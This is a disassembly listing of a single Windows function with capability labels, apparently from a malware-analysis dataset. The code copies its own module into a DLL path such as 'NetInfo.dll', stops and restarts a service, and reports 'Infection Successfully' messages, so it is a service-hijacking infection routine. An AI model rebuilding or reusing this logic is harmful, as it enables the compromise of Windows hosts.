Function at 0x40411f
Capabilities:
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
and byte [ebp - 0x348], 0
push ebx
push esi
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x347]
rep stosd dword es:[edi], eax
and byte [ebp - 0x248], 0
push 0x3f
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x247]
and byte [ebp - 0x148], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x147]
rep stosd dword es:[edi], eax
and byte [ebp - 0x48], 0
push 0xf
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x47]
and byte [ebp - 3], 0
rep stosd dword es:[edi], eax
cmp dword [ebp + 8], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x404512
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x404512
cmp dword [ebp + 0x10], 0
je 0x404512
push esi
call sub.MSVCRT.dll_strlen
cmp eax, 2
pop ecx
mov ebx, 0x4081c4
mov edi, 0xfe
jbe 0x404244
cmp byte [esi + 1], 0x3a
je 0x404256
lea eax, [ebp - 0x248]
push edi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jbe 0x404256
lea eax, [ebp - 0x248]
or esi, 0xffffffff
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
mov dword [ebp - 8], eax
jbe 0x404512
push 1
lea edx, [ebp - 0x248]
pop ecx
dec edx
cmp byte [edx + ecx], 0x5c
jne 0x404209
mov esi, ecx
inc ecx
lea eax, [ecx - 1]
cmp eax, dword [ebp - 8]
jb 0x404201
cmp esi, 0xffffffff
je 0x404512
push dword [ebp + 0xc]
and byte [ebp + esi - 0x248], 0
lea eax, [ebp - 0x248]
push eax
push 0x40855c
lea eax, [ebp - 0x248]
push edi
push eax
call fcn.0040200e
add esp, 0x14
jmp 0x404256
push esi
push ebx
lea eax, [ebp - 0x248]
push edi
push eax
call fcn.0040200e
add esp, 0x10
lea eax, [ebp - 0x248]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x404512
lea eax, [ebp - 0x248]
push eax
call fcn.00405d3f
test al, al
pop ecx
je 0x404512
lea eax, [ebp - 0x348]
push 0x100
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.00402035
add esp, 0xc
test al, al
je 0x404512
push dword [ebp + 8]
lea eax, [ebp - 0x148]
push ebx
push edi
push eax
call fcn.0040200e
lea eax, [ebp - 0x148]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x14
or ecx, 0xffffffff
test eax, eax
mov dword [ebp - 8], eax
jbe 0x404512
push 1
lea eax, [ebp - 0x148]
pop edx
dec eax
cmp byte [eax + edx], 0x5c
jne 0x4042e3
mov ecx, edx
inc edx
lea esi, [edx - 1]
cmp esi, dword [ebp - 8]
jb 0x4042db
cmp ecx, 0xffffffff
je 0x404512
mov eax, dword [ebp + 8]
and byte [ebp + ecx - 0x148], 0
lea esi, [ebp + ecx - 0x148]
add ecx, eax
push ecx
push ebx
lea eax, [ebp - 0x48]
push 0x3e
push eax
call fcn.0040200e
lea eax, [ebp - 0x48]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x14
xor ecx, ecx
test eax, eax
jbe 0x404352
cmp byte [ebp + ecx - 0x48], 0x2e
je 0x404336
inc ecx
cmp ecx, eax
jb 0x404328
jmp 0x404352
and byte [ebp + ecx - 0x48], 0
lea eax, [ebp - 0x48]
push eax
push str._s.dll
lea eax, [ebp - 0x48]
push 0x3e
push eax
call fcn.0040200e
add esp, 0x10
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x148]
push eax
push 0x40855c
lea eax, [ebp - 0x148]
push edi
push eax
call fcn.0040200e
lea eax, [ebp - 0x148]
push eax
call fcn.00405d3f
add esp, 0x18
test al, al
je 0x4043d7
push 0x40
lea eax, [ebp - 0x48]
push 0
push eax
call sub.MSVCRT.dll_memset
push str.NetInfo.dll
push ebx
lea eax, [ebp - 0x48]
push 0x3e
push eax
call fcn.0040200e
lea eax, [ebp - 0x48]
and byte [esi], 0
push eax
lea eax, [ebp - 0x148]
push eax
push 0x40855c
lea eax, [ebp - 0x148]
push edi
push eax
call fcn.0040200e
lea eax, [ebp - 0x148]
push eax
call fcn.00405d3f
add esp, 0x34
test al, al
jne 0x404512
lea eax, [ebp - 0x148]
push 1
push eax
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x404512
mov ebx, dword [ebp + 0x10]
mov esi, dword [sym.imp.MSVCRT.dll_printf]
push ebx
push str.Stopping__s......
call esi
push ebx
call fcn.004024b6
add esp, 0xc
mov byte [ebp + 0xf], al
call fcn.00402770
cmp byte [ebp + 0xf], 0
je 0x4044f8
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x348]
push ebx
push eax
lea eax, [ebp - 0x48]
push eax
and byte [ebp - 1], 0
and byte [ebp - 2], 0
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
push str._s_n_s_n_s_n_s_n_s_n
call esi
lea eax, [ebp - 2]
push eax
lea eax, [ebp - 1]
push eax
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
call fcn.00403703
add esp, 0x30
mov byte [ebp - 3], al
test al, al
jne 0x40449a
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [ebp - 2], 0
je 0x4044af
push dword [ebp + 8]
call fcn.00403f29
jmp 0x4044ae
cmp byte [ebp - 1], 0
je 0x4044a7
push str.Infection_Successfully_Backup_Method__n
jmp 0x4044ac
push str.Infection_Successfully_Not_Backup_Method__n
call esi
pop ecx
mov edi, str.Starting__s......
push ebx
push edi
call esi
push ebx
call fcn.004025f4
add esp, 0xc
mov byte [ebp + 0xf], al
call fcn.00402770
cmp byte [ebp + 0xf], 0
jne 0x404512
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp + 8]
call fcn.00403f29
push ebx
push edi
call esi
push ebx
call fcn.004025f4
add esp, 0x10
call fcn.00402770
jmp 0x404512
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push str.Fail_To_Stop_Service__s_n
call fcn.00401518
pop ecx
pop ecx
mov al, byte [ebp - 3]
pop edi
pop esi
pop ebx
leave
ret